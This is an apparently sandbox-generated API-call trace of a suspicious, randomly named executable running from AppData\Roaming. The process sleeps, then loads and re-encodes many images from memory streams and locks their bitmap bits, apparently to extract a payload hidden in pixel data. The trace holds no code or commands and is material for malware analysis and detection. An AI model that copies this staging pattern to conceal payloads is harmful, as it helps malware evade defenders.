	[0044.578] GetModuleBaseNameW (in: hProcess=0x244, hModule=0x100000, lpBaseName=0x8bd8c0, nSize=0x800 | out: lpBaseName="jsjhdhdhdhjfjhhf.exe") returned 0x14
	[0044.578] CoTaskMemFree (pv=0x8bd8c0) 
	[0044.578] CoTaskMemAlloc (cb=0x804) returned 0x8bd8c0
	[0044.578] GetModuleFileNameExW (in: hProcess=0x244, hModule=0x100000, lpFilename=0x8bd8c0, nSize=0x800 | out: lpFilename="C:\\Users\\aETAdzjz\\AppData\\Roaming\\jsjhdhdhdhjfjhhf.exe" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\jsjhdhdhdhjfjhhf.exe")) returned 0x36
	[0044.578] CoTaskMemFree (pv=0x8bd8c0) 
	[0044.578] CloseHandle (hObject=0x244) returned 1
	[0044.709] EtwEventRegister () returned 0x0
	[0044.710] SleepEx (dwMilliseconds=0x1279, bAlertable=1) returned 0x0
	[0049.456] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\jsjhdhdhdhjfjhhf.exe.config", nBufferLength=0x105, lpBuffer=0x4de3d4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Roaming\\jsjhdhdhdhjfjhhf.exe.config", lpFilePart=0x0) returned 0x3d
	[0049.456] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x4de868) returned 1
	[0049.456] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\jsjhdhdhdhjfjhhf.exe.config" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\jsjhdhdhdhjfjhhf.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x4de8e4 | out: lpFileInformation=0x4de8e4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0049.456] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x4de864) returned 1
	[0049.836] GdiplusStartup (in: token=0xf6280, input=0x4dda80, output=0x4ddad0 | out: token=0xf6280, output=0x4ddad0) returned 0x0
	[0049.893] GdipLoadImageFromStream (stream=0x330030, image=0x4de560) returned 0x0
	[0050.140] GdipImageForceValidation (image=0x74a2230) returned 0x0
	[0050.145] GdipGetImageType (image=0x74a2230, type=0x4de55c) returned 0x0
	[0050.146] GdipGetImageRawFormat (image=0x74a2230, format=0x4de4e0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0))) returned 0x0
	[0050.151] GdipLoadImageFromStream (stream=0x330010, image=0x4de560) returned 0x0
	[0050.152] GdipImageForceValidation (image=0x74a35d0) returned 0x0
	[0050.153] GdipGetImageType (image=0x74a35d0, type=0x4de55c) returned 0x0
	[0050.153] GdipGetImageRawFormat (image=0x74a35d0, format=0x4de4e0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0))) returned 0x0
	[0050.160] GdipLoadImageFromStream (stream=0x33fff0, image=0x4de560) returned 0x0
	[0050.161] GdipImageForceValidation (image=0x74a4290) returned 0x0
	[0050.162] GdipGetImageType (image=0x74a4290, type=0x4de55c) returned 0x0
	[0050.162] GdipGetImageRawFormat (image=0x74a4290, format=0x4de4e0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0))) returned 0x0
	[0050.169] GdipLoadImageFromStream (stream=0x33ffd0, image=0x4de560) returned 0x0
	[0050.170] GdipImageForceValidation (image=0x74a4f50) returned 0x0
	[0050.171] GdipGetImageType (image=0x74a4f50, type=0x4de55c) returned 0x0
	[0050.171] GdipGetImageRawFormat (image=0x74a4f50, format=0x4de4e0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0))) returned 0x0
	[0050.178] GdipLoadImageFromStream (stream=0x33ffb0, image=0x4de560) returned 0x0
	[0050.179] GdipImageForceValidation (image=0x74a5c10) returned 0x0
	[0050.180] GdipGetImageType (image=0x74a5c10, type=0x4de55c) returned 0x0
	[0050.180] GdipGetImageRawFormat (image=0x74a5c10, format=0x4de4e0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0))) returned 0x0
	[0050.187] GdipLoadImageFromStream (stream=0x33ff90, image=0x4de560) returned 0x0
	[0050.188] GdipImageForceValidation (image=0x74a68d0) returned 0x0
	[0050.189] GdipGetImageType (image=0x74a68d0, type=0x4de55c) returned 0x0
	[0050.189] GdipGetImageRawFormat (image=0x74a68d0, format=0x4de4e0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0))) returned 0x0
	[0050.196] GdipLoadImageFromStream (stream=0x33ff70, image=0x4de560) returned 0x0
	[0050.196] GdipImageForceValidation (image=0x74a7590) returned 0x0
	[0050.198] GdipGetImageType (image=0x74a7590, type=0x4de55c) returned 0x0
	[0050.198] GdipGetImageRawFormat (image=0x74a7590, format=0x4de4e0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0))) returned 0x0
	[0050.205] GdipLoadImageFromStream (stream=0x33ff50, image=0x4de560) returned 0x0
	[0050.206] GdipImageForceValidation (image=0x74a8250) returned 0x0
	[0050.208] GdipGetImageType (image=0x74a8250, type=0x4de55c) returned 0x0
	[0050.208] GdipGetImageRawFormat (image=0x74a8250, format=0x4de4e0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0))) returned 0x0
	[0050.221] GdipLoadImageFromStream (stream=0x33ff30, image=0x4de560) returned 0x0
	[0050.222] GdipImageForceValidation (image=0x74a8f10) returned 0x0
	[0050.223] GdipGetImageType (image=0x74a8f10, type=0x4de55c) returned 0x0
	[0050.223] GdipGetImageRawFormat (image=0x74a8f10, format=0x4de4e0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0))) returned 0x0
	[0050.230] GdipLoadImageFromStream (stream=0x33ff10, image=0x4de560) returned 0x0
	[0050.231] GdipImageForceValidation (image=0x74a9bd0) returned 0x0
	[0050.233] GdipGetImageType (image=0x74a9bd0, type=0x4de55c) returned 0x0
	[0050.233] GdipGetImageRawFormat (image=0x74a9bd0, format=0x4de4e0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0))) returned 0x0
	[0050.239] GdipLoadImageFromStream (stream=0x33fef0, image=0x4de560) returned 0x0
	[0050.240] GdipImageForceValidation (image=0x74aa890) returned 0x0
	[0050.242] GdipGetImageType (image=0x74aa890, type=0x4de55c) returned 0x0
	[0050.242] GdipGetImageRawFormat (image=0x74aa890, format=0x4de4e0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0))) returned 0x0
	[0050.249] GdipLoadImageFromStream (stream=0x33fed0, image=0x4de560) returned 0x0
	[0050.249] GdipImageForceValidation (image=0x74ab550) returned 0x0
	[0050.251] GdipGetImageType (image=0x74ab550, type=0x4de55c) returned 0x0
	[0050.251] GdipGetImageRawFormat (image=0x74ab550, format=0x4de4e0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0))) returned 0x0
	[0050.258] GdipLoadImageFromStream (stream=0x33feb0, image=0x4de560) returned 0x0
	[0050.258] GdipImageForceValidation (image=0x74ac210) returned 0x0
	[0050.260] GdipGetImageType (image=0x74ac210, type=0x4de55c) returned 0x0
	[0050.260] GdipGetImageRawFormat (image=0x74ac210, format=0x4de4e0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0))) returned 0x0
	[0050.272] GdipLoadImageFromStream (stream=0x33fe90, image=0x4de560) returned 0x0
	[0050.273] GdipImageForceValidation (image=0x74aced0) returned 0x0
	[0050.275] GdipGetImageType (image=0x74aced0, type=0x4de55c) returned 0x0
	[0050.275] GdipGetImageRawFormat (image=0x74aced0, format=0x4de4e0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0))) returned 0x0
	[0050.282] GdipLoadImageFromStream (stream=0x33fe70, image=0x4de560) returned 0x0
	[0050.283] GdipImageForceValidation (image=0x74adb90) returned 0x0
	[0050.284] GdipGetImageType (image=0x74adb90, type=0x4de55c) returned 0x0
	[0050.284] GdipGetImageRawFormat (image=0x74adb90, format=0x4de4e0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0))) returned 0x0
	[0050.291] GdipLoadImageFromStream (stream=0x33fe50, image=0x4de560) returned 0x0
	[0050.292] GdipImageForceValidation (image=0x74ae850) returned 0x0
	[0050.293] GdipGetImageType (image=0x74ae850, type=0x4de55c) returned 0x0
	[0050.294] GdipGetImageRawFormat (image=0x74ae850, format=0x4de4e0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0))) returned 0x0
	[0050.299] GdipLoadImageFromStream (stream=0x33fe30, image=0x4de560) returned 0x0
	[0050.301] GdipImageForceValidation (image=0x74af510) returned 0x0
	[0050.303] GdipGetImageType (image=0x74af510, type=0x4de55c) returned 0x0
	[0050.303] GdipGetImageRawFormat (image=0x74af510, format=0x4de4e0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0))) returned 0x0
	[0050.304] GdipLoadImageFromStream (stream=0x33fe10, image=0x4de560) returned 0x0
	[0050.305] GdipImageForceValidation (image=0x74afb08) returned 0x0
	[0050.307] GdipGetImageType (image=0x74afb08, type=0x4de55c) returned 0x0
	[0050.307] GdipGetImageRawFormat (image=0x74afb08, format=0x4de4e0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0))) returned 0x0
	[0050.308] GdipLoadImageFromStream (stream=0x33fdf0, image=0x4de560) returned 0x0
	[0050.309] GdipImageForceValidation (image=0x74c2258) returned 0x0
	[0050.311] GdipGetImageType (image=0x74c2258, type=0x4de55c) returned 0x0
	[0050.311] GdipGetImageRawFormat (image=0x74c2258, format=0x4de4e0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0))) returned 0x0
	[0050.312] GdipLoadImageFromStream (stream=0x33fdd0, image=0x4de560) returned 0x0
	[0050.312] GdipImageForceValidation (image=0x74c25a0) returned 0x0
	[0050.314] GdipGetImageType (image=0x74c25a0, type=0x4de55c) returned 0x0
	[0050.314] GdipGetImageRawFormat (image=0x74c25a0, format=0x4de4e0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0))) returned 0x0
	[0050.315] GdipLoadImageFromStream (stream=0x33fdb0, image=0x4de560) returned 0x0
	[0050.316] GdipImageForceValidation (image=0x74c28e8) returned 0x0
	[0050.319] GdipGetImageType (image=0x74c28e8, type=0x4de55c) returned 0x0
	[0050.319] GdipGetImageRawFormat (image=0x74c28e8, format=0x4de4e0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0))) returned 0x0
	[0050.320] GdipLoadImageFromStream (stream=0x33fd90, image=0x4de560) returned 0x0
	[0050.321] GdipImageForceValidation (image=0x74c2c30) 
	[0050.323] GdipLoadImageFromStream (stream=0x33fd70, image=0x4de560) 
	[0050.325] GdipLoadImageFromStream (stream=0x33fd50, image=0x4de560) 
	[0050.326] GdipLoadImageFromStream (stream=0x33fd30, image=0x4de560) 
	[0050.551] GdipGetImageWidth (image=0x74a2230, width=0x4dea04) returned 0x0
	[0050.551] GdipGetImageHeight (image=0x74a2230, height=0x4dea04) returned 0x0
	[0050.573] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.574] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x779b3a8 | out: encoders=0x779b3a8) returned 0x0
	[0050.582] LocalFree (hMem=0x779b3a8) returned 0x0
	[0050.588] GdipSaveImageToStream (image=0x74a2230, stream=0x33c610, clsidEncoder=0x4de9ec*(Data1=0x557cf400, Data2=0x1a04, Data3=0x11d3, Data4=([0]=0x9a, [1]=0x73, [2]=0x0, [3]=0x0, [4]=0xf8, [5]=0x1e, [6]=0xf3, [7]=0x2e)), encoderParams=0x0) returned 0x0
	[0050.599] GdipCreateBitmapFromStream (stream=0x33c5f0, bitmap=0x4dea30) returned 0x0
	[0050.599] GdipImageForceValidation (image=0x7899930) returned 0x0
	[0050.601] GdipGetImageRawFormat (image=0x7899930, format=0x4de9b4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0))) returned 0x0
	[0050.601] GdipBitmapLockBits (bitmap=0x7899930, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x260087c) returned 0x0
	[0050.641] GdipBitmapUnlockBits (bitmap=0x7899930, lockedBitmapData=0x260087c) returned 0x0
	[0050.645] GdipGetImageWidth (image=0x74a35d0, width=0x4dea04) returned 0x0
	[0050.645] GdipGetImageHeight (image=0x74a35d0, height=0x4dea04) returned 0x0
	[0050.645] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.645] LocalAlloc (uFlags=0x0, uBytes=0x410) returned 0x77a1c88
	[0050.646] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77a1c88 | out: encoders=0x77a1c88) returned 0x0
	[0050.646] LocalFree (hMem=0x77a1c88) returned 0x0
	[0050.646] GdipSaveImageToStream (image=0x74a35d0, stream=0x33c5d0, clsidEncoder=0x4de9ec*(Data1=0x557cf400, Data2=0x1a04, Data3=0x11d3, Data4=([0]=0x9a, [1]=0x73, [2]=0x0, [3]=0x0, [4]=0xf8, [5]=0x1e, [6]=0xf3, [7]=0x2e)), encoderParams=0x0) returned 0x0
	[0050.650] GdipCreateBitmapFromStream (stream=0x33c5b0, bitmap=0x4dea30) returned 0x0
	[0050.650] GdipImageForceValidation (image=0x7899c78) returned 0x0
	[0050.652] GdipGetImageRawFormat (image=0x7899c78, format=0x4de9b4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0))) returned 0x0
	[0050.652] GdipBitmapLockBits (bitmap=0x7899c78, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x2603be4) returned 0x0
	[0050.652] GdipBitmapUnlockBits (bitmap=0x7899c78, lockedBitmapData=0x2603be4) returned 0x0
	[0050.652] GdipGetImageWidth (image=0x74a4290, width=0x4dea04) returned 0x0
	[0050.652] GdipGetImageHeight (image=0x74a4290, height=0x4dea04) returned 0x0
	[0050.652] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.652] LocalAlloc (uFlags=0x0, uBytes=0x410) returned 0x77a2c70
	[0050.652] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77a2c70 | out: encoders=0x77a2c70) returned 0x0
	[0050.653] LocalFree (hMem=0x77a2c70) returned 0x0
	[0050.653] GdipSaveImageToStream (image=0x74a4290, stream=0x33c590, clsidEncoder=0x4de9ec*(Data1=0x557cf400, Data2=0x1a04, Data3=0x11d3, Data4=([0]=0x9a, [1]=0x73, [2]=0x0, [3]=0x0, [4]=0xf8, [5]=0x1e, [6]=0xf3, [7]=0x2e)), encoderParams=0x0) returned 0x0
	[0050.657] GdipCreateBitmapFromStream (stream=0x33c570, bitmap=0x4dea30) returned 0x0
	[0050.657] GdipImageForceValidation (image=0x7899fc0) returned 0x0
	[0050.659] GdipGetImageRawFormat (image=0x7899fc0, format=0x4de9b4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0))) returned 0x0
	[0050.659] GdipBitmapLockBits (bitmap=0x7899fc0, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x26073c8) returned 0x0
	[0050.659] GdipBitmapUnlockBits (bitmap=0x7899fc0, lockedBitmapData=0x26073c8) returned 0x0
	[0050.659] GdipGetImageWidth (image=0x74a4f50, width=0x4dea04) returned 0x0
	[0050.659] GdipGetImageHeight (image=0x74a4f50, height=0x4dea04) returned 0x0
	[0050.659] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.659] LocalAlloc (uFlags=0x0, uBytes=0x410) returned 0x77a2c70
	[0050.659] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77a2c70 | out: encoders=0x77a2c70) returned 0x0
	[0050.659] LocalFree (hMem=0x77a2c70) returned 0x0
	[0050.660] GdipSaveImageToStream (image=0x74a4f50, stream=0x33c550, clsidEncoder=0x4de9ec*(Data1=0x557cf400, Data2=0x1a04, Data3=0x11d3, Data4=([0]=0x9a, [1]=0x73, [2]=0x0, [3]=0x0, [4]=0xf8, [5]=0x1e, [6]=0xf3, [7]=0x2e)), encoderParams=0x0) returned 0x0
	[0050.666] GdipCreateBitmapFromStream (stream=0x33c530, bitmap=0x4dea30) returned 0x0
	[0050.667] GdipImageForceValidation (image=0x789a308) returned 0x0
	[0050.670] GdipGetImageRawFormat (image=0x789a308, format=0x4de9b4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0))) returned 0x0
	[0050.670] GdipBitmapLockBits (bitmap=0x789a308, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x260b4a4) returned 0x0
	[0050.670] GdipBitmapUnlockBits (bitmap=0x789a308, lockedBitmapData=0x260b4a4) returned 0x0
	[0050.670] GdipGetImageWidth (image=0x74a5c10, width=0x4dea04) returned 0x0
	[0050.670] GdipGetImageHeight (image=0x74a5c10, height=0x4dea04) returned 0x0
	[0050.670] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.671] LocalAlloc (uFlags=0x0, uBytes=0x410) returned 0x77a2c70
	[0050.671] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77a2c70 | out: encoders=0x77a2c70) returned 0x0
	[0050.671] LocalFree (hMem=0x77a2c70) returned 0x0
	[0050.672] GdipSaveImageToStream (image=0x74a5c10, stream=0x33c510, clsidEncoder=0x4de9ec*(Data1=0x557cf400, Data2=0x1a04, Data3=0x11d3, Data4=([0]=0x9a, [1]=0x73, [2]=0x0, [3]=0x0, [4]=0xf8, [5]=0x1e, [6]=0xf3, [7]=0x2e)), encoderParams=0x0) returned 0x0
	[0050.679] GdipCreateBitmapFromStream (stream=0x33c4f0, bitmap=0x4dea30) returned 0x0
	[0050.680] GdipImageForceValidation (image=0x789a650) returned 0x0
	[0050.682] GdipGetImageRawFormat (image=0x789a650, format=0x4de9b4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0))) returned 0x0
	[0050.682] GdipBitmapLockBits (bitmap=0x789a650, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x260e384) returned 0x0
	[0050.682] GdipBitmapUnlockBits (bitmap=0x789a650, lockedBitmapData=0x260e384) returned 0x0
	[0050.683] GdipGetImageWidth (image=0x74a68d0, width=0x4dea04) returned 0x0
	[0050.683] GdipGetImageHeight (image=0x74a68d0, height=0x4dea04) returned 0x0
	[0050.683] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.683] LocalAlloc (uFlags=0x0, uBytes=0x410) returned 0x77a4c70
	[0050.683] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77a4c70 | out: encoders=0x77a4c70) returned 0x0
	[0050.684] LocalFree (hMem=0x77a4c70) returned 0x0
	[0050.684] GdipSaveImageToStream (image=0x74a68d0, stream=0x33c4d0, clsidEncoder=0x4de9ec*(Data1=0x557cf400, Data2=0x1a04, Data3=0x11d3, Data4=([0]=0x9a, [1]=0x73, [2]=0x0, [3]=0x0, [4]=0xf8, [5]=0x1e, [6]=0xf3, [7]=0x2e)), encoderParams=0x0) returned 0x0
	[0050.691] GdipCreateBitmapFromStream (stream=0x33c4b0, bitmap=0x4dea30) returned 0x0
	[0050.692] GdipImageForceValidation (image=0x789a998) 
	[0050.695] GdipBitmapLockBits (bitmap=0x789a998, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x2613650) returned 0x0
	[0050.695] GdipBitmapUnlockBits (bitmap=0x789a998, lockedBitmapData=0x2613650) returned 0x0
	[0050.695] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.695] LocalAlloc (uFlags=0x0, uBytes=0x410) returned 0x77a4c70
	[0050.695] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77a4c70 | out: encoders=0x77a4c70) returned 0x0
	[0050.695] LocalFree (hMem=0x77a4c70) returned 0x0
	[0050.696] GdipSaveImageToStream (image=0x74a7590, stream=0x33c490, clsidEncoder=0x4de9ec*(Data1=0x557cf400, Data2=0x1a04, Data3=0x11d3, Data4=([0]=0x9a, [1]=0x73, [2]=0x0, [3]=0x0, [4]=0xf8, [5]=0x1e, [6]=0xf3, [7]=0x2e)), encoderParams=0x0) 
	[0050.697] GdipBitmapLockBits (bitmap=0x789ace0, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x2616530) returned 0x0
	[0050.697] GdipBitmapUnlockBits (bitmap=0x789ace0, lockedBitmapData=0x2616530) returned 0x0
	[0050.697] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.697] LocalAlloc (uFlags=0x0, uBytes=0x410) returned 0x77a4c70
	[0050.697] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77a4c70 | out: encoders=0x77a4c70) returned 0x0
	[0050.698] LocalFree (hMem=0x77a4c70) returned 0x0
	[0050.698] GdipSaveImageToStream (image=0x74a8250, stream=0x33c450, clsidEncoder=0x4de9ec*(Data1=0x557cf400, Data2=0x1a04, Data3=0x11d3, Data4=([0]=0x9a, [1]=0x73, [2]=0x0, [3]=0x0, [4]=0xf8, [5]=0x1e, [6]=0xf3, [7]=0x2e)), encoderParams=0x0) 
	[0050.699] GdipBitmapLockBits (bitmap=0x789b028, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x2619410) returned 0x0
	[0050.699] GdipBitmapUnlockBits (bitmap=0x789b028, lockedBitmapData=0x2619410) returned 0x0
	[0050.699] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.700] LocalAlloc (uFlags=0x0, uBytes=0x410) returned 0x77a4c70
	[0050.700] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77a4c70 | out: encoders=0x77a4c70) returned 0x0
	[0050.701] GdipBitmapLockBits (bitmap=0x789b370, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x261c2f0) returned 0x0
	[0050.701] GdipBitmapUnlockBits (bitmap=0x789b370, lockedBitmapData=0x261c2f0) returned 0x0
	[0050.702] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.702] LocalAlloc (uFlags=0x0, uBytes=0x410) returned 0x77a4c70
	[0050.702] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77a4c70 | out: encoders=0x77a4c70) returned 0x0
	[0050.702] GdipBitmapLockBits (bitmap=0x789b6b8, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x262399c) returned 0x0
	[0050.702] GdipBitmapUnlockBits (bitmap=0x789b6b8, lockedBitmapData=0x262399c) returned 0x0
	[0050.703] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.703] LocalAlloc (uFlags=0x0, uBytes=0x410) returned 0x77a4c70
	[0050.703] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77a4c70 | out: encoders=0x77a4c70) returned 0x0
	[0050.703] GdipBitmapLockBits (bitmap=0x789ba00, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x262687c) returned 0x0
	[0050.703] GdipBitmapUnlockBits (bitmap=0x789ba00, lockedBitmapData=0x262687c) returned 0x0
	[0050.704] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.704] LocalAlloc (uFlags=0x0, uBytes=0x410) returned 0x77a4c70
	[0050.704] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77a4c70 | out: encoders=0x77a4c70) returned 0x0
	[0050.704] GdipBitmapLockBits (bitmap=0x789bd48, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x262975c) returned 0x0
	[0050.704] GdipBitmapUnlockBits (bitmap=0x789bd48, lockedBitmapData=0x262975c) returned 0x0
	[0050.704] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.704] LocalAlloc (uFlags=0x0, uBytes=0x410) returned 0x77a4c70
	[0050.704] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77a4c70 | out: encoders=0x77a4c70) returned 0x0
	[0050.705] GdipBitmapLockBits (bitmap=0x789c090, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x262c63c) returned 0x0
	[0050.705] GdipBitmapUnlockBits (bitmap=0x789c090, lockedBitmapData=0x262c63c) returned 0x0
	[0050.705] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.705] LocalAlloc (uFlags=0x0, uBytes=0x410) returned 0x77a4c70
	[0050.705] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77a4c70 | out: encoders=0x77a4c70) returned 0x0
	[0050.706] GdipBitmapLockBits (bitmap=0x789c3d8, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x262f51c) returned 0x0
	[0050.706] GdipBitmapUnlockBits (bitmap=0x789c3d8, lockedBitmapData=0x262f51c) returned 0x0
	[0050.706] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.706] LocalAlloc (uFlags=0x0, uBytes=0x410) returned 0x77a4c70
	[0050.706] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77a4c70 | out: encoders=0x77a4c70) returned 0x0
	[0050.706] GdipBitmapLockBits (bitmap=0x789c720, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x26323fc) returned 0x0
	[0050.707] GdipBitmapUnlockBits (bitmap=0x789c720, lockedBitmapData=0x26323fc) returned 0x0
	[0050.707] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.707] LocalAlloc (uFlags=0x0, uBytes=0x410) returned 0x77a4c70
	[0050.707] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77a4c70 | out: encoders=0x77a4c70) returned 0x0
	[0050.707] GdipBitmapLockBits (bitmap=0x789ca68, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x26352dc) returned 0x0
